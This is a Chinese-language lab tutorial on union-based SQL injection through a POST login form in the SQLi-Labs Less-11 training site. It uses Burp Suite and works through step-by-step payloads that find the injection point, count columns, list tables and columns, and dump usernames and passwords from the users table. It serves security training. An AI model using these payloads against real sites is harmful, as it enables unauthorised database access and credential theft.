基于联合查询的POST注入

1.访问SQLi-Labs网站

访问Less-11

http://本机IP/sqli-labs/Less-11

基于联合查询的POST注入_第1张图片

2.利用Burpsuite工具抓包

1)启动Burpsuite并设置代理服务端口

2)设置Firefox代理

 注意:端口要一致

3)开启 Burpsuite的代理拦截功能

 4)利用Burpsuite工具拦截HTTP请求包

在Firefox浏览器访问Less-11登录界面,输入用户名admin、密码任意,然后点击Submit。此时,Burpsuite会拦截到HTTP请求包

基于联合查询的POST注入_第2张图片

 5)将Burpsuite工具拦截到的HTTP请求包发送至 Repeater模块

单击鼠标右键,在弹出的菜单中选择Send to Repeater",将其发送给Burpsuite的 Repeater模块

基于联合查询的POST注入_第3张图片 3.寻找注入点

在POST表单处,分别使用以下2条payload寻找注入点及判断注入点的类型:

uname=admin'&passwd=1111&submit=Submit

基于联合查询的POST注入_第4张图片

报错!

uname=admin'#&passwd=1111&submit=Submit

基于联合查询的POST注入_第5张图片 正常回显用户名和密码

 由此可以判断,目标网站在POST参数处存在字符型注入点

4. 判断网站查询的字段数

uname=admin' order by 1#&passwd=1111&submit=Submit

  正常回显用户名和密码

uname=admin' order by 2#&passwd=1111&submit=Submit

   正常回显用户名和密码

uname=admin' order by 3#&passwd=1111&submit=Submit

报错

  由此可以判断,网站查询的字段数为2

5.判断网站的回显位置

uname=admin' and 1=2 union select 1,2#&passwd=1111&submit=Submit

 结果,1号位和2号位均可以回显

6.获取网站当前所在数据库的库名

uname=admin' and 1=2 union select 1,database()#&passwd=1111&submit=Submit

 显示结果为security

7.获取数据库的全部表名

uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=1111&submit=Submit

 显示结果中,有一个名为users 的表,这当中可能存放着网站用户的基本信息

8.获取users表的全部字段名

uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=1111&submit=Submit

 显示结果,users表中有id、username和 password三个字段

9.获取users表id、username、和password字段的全部值

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

1)显示第一组数据

uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 0,1#&passwd=1111&submit=Submit

 2)显示第二组数据

uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 1,1#&passwd=1111&submit=Submit

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。  

你可能感兴趣的:(SQL注入,web安全,SQL注入)